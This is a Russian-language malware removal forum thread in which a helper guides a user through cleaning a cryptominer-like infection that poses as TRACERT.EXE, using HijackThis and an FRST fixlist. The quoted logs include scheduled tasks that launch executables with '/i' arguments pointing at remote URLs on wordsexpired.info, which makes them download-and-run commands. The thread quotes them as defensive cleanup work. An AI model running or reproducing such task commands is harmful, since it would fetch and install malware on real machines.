Вирус TRACERT.EXE нагружает примерно на 50% ЦП

[Kimper44]

Процесс TRACERT.EXE нагружает примерно на 50% ЦП, этот файл находится в папке sysWOW64, когда пытаюсь сделать что либо пишет нужно запросить разрешение TrustedInstaller, avz не работает. Этот вирус появился сразу после удаления вируса svchost.exe который тоже нагружал цп. Логи сделал в безопасном режиме. И еще при попытке снять задачу комп вырубается. Помогите пожалуйста но обьясните простым языком.

[Info_bot]

Уважаемый(ая) Kimper44, спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[Vvvyg]

Запустите HijackThis, расположенный в папке Autologger и пофиксите (в Windows Vista/7/8/10 необходимо запускать через правую кнопку мыши Запуск от имени администратора)):

O22 - Task: {35C4B25F-CD09-63D4-7B82-41C7AB0E9B2D} - C:\Users\Kimpe\AppData\Local\tEopXqeOyEdK.exe /q /i http://wordsexpired.info/dr4y9ppenfng.aoz
O22 - Task: {64D160E4-6822-71D3-13E5-2074FF721FDE} - C:\Program Files (x86)\Common Files\aouWicOUyc.exe /q /i http://wordsexpired.info/dkixvomlarsc.tqv

Скачайте Farbar Recovery Scan Tool и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.

Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа.
Прикрепите эти файлы к своему следующему сообщению (лучше оба в одном архиве).

[Kimper44]

Все сделал

[Vvvyg]

Отключите до перезагрузки все компоненты Comodo.
Выделите и скопируйте в буфер обмена следующий код:

CreateRestorePoint:
2018-04-12 02:34 - 2018-04-12 02:34 - 000060416 ____N (Microsoft Corporation) C:\Program Files (x86)\Common Files\aouWicOUyc.exe
2018-09-02 17:29 - 2018-09-02 17:29 - 000000002 _____ () C:\Users\Kimpe\AppData\Local\imw.ini
2018-04-12 02:34 - 2018-04-12 02:34 - 000060416 ____N (Microsoft Corporation) C:\Users\Kimpe\AppData\Local\tEopXqeOyEdK.exe
FirewallRules: [{3DE9B1D7-62CD-4B18-A0CA-0374D8ACDA39}] => (Allow) C:\Windows\SysWOW64\msiexec.exe
FirewallRules: [{D2DFCF68-3CD5-4C7A-9EE2-83635C2B59C4}] => (Allow) C:\Program Files (x86)\Common Files\aouWicOUyc.exe
FirewallRules: [{DF2655D5-35B0-499A-A53A-9C864D717D5A}] => (Allow) C:\Users\Kimpe\AppData\Local\tEopXqeOyEdK.exe
FirewallRules: [{1E81D343-C9F3-4D23-AA4F-DC14FA7721A1}] => (Allow) C:\Windows\SysWOW64\tracert.exe
FirewallRules: [{C545C5F1-1C71-42F6-8907-14418673F036}] => (Allow) C:\Windows\SysWOW64\tracert.exe
FirewallRules: [{2E38C5D6-F6A7-4C3E-9770-58DEE9EB164A}] => (Allow) C:\Windows\SysWOW64\tracert.exe
FirewallRules: [{CB6E6658-297D-4A8D-B4AE-2BB5BABB6C34}] => (Allow) C:\Windows\SysWOW64\tracert.exe
FirewallRules: [{59FC7AB8-7F72-4FB7-98D1-62B0F92F52CA}] => (Allow) C:\Windows\SysWOW64\tracert.exe
FirewallRules: [{B2E78234-47C4-40AB-AA36-E1B025EB4571}] => (Allow) C:\Windows\SysWOW64\tracert.exe
FirewallRules: [{CAE6946D-945F-43A6-B1BB-734362AF0A28}] => (Allow) C:\Windows\SysWOW64\tracert.exe
FirewallRules: [{47707613-981A-478A-B308-83497B567FAA}] => (Allow) C:\Windows\SysWOW64\tracert.exe
FirewallRules: [{7AE6A9C3-F1A7-4C9B-B270-98E2559C1089}] => (Allow) C:\Windows\SysWOW64\tracert.exe
FirewallRules: [{27AF54C6-6D4E-4B28-BFBE-A7FB7F0CE97D}] => (Allow) C:\Windows\SysWOW64\tracert.exe
Reboot:

Запустите FRST.EXE/FRST64.EXE, нажмите один раз Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.

Проблема, полагаю, решена?

[Kimper44]

Что делать с кодом просто скопировать или ввести в программу.

[Vvvyg]

Просто скопировать в буфер обмена (выделить и Ctrl-C), программа при нажатии "Fix" должна подхватить.

[Kimper44]

Ошибка No fixlist.txt found.

[Vvvyg]

Тогда так.
Откройте Блокнот (Старт =>Программы => Стандартные => Блокнот). Скопируйте в него код из сообщения #5 и сохраните как fixlist.txt в папку с Farbar Recovery Scan Tool (папку Загрузки в Вашем случае). При сохранении выберите кодировку Юникод!
Отключите до перезагрузки антивирус, в FRST нажмите один раз Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.

[Kimper44]

Все сделал вроде цп не грузит из диспетчера вирус исчез но на компе остался.

[Vvvyg]

TRACERT.EXE - системный фал, вирус под него маскировался. Раз нет загрузки процессора - проблема решена.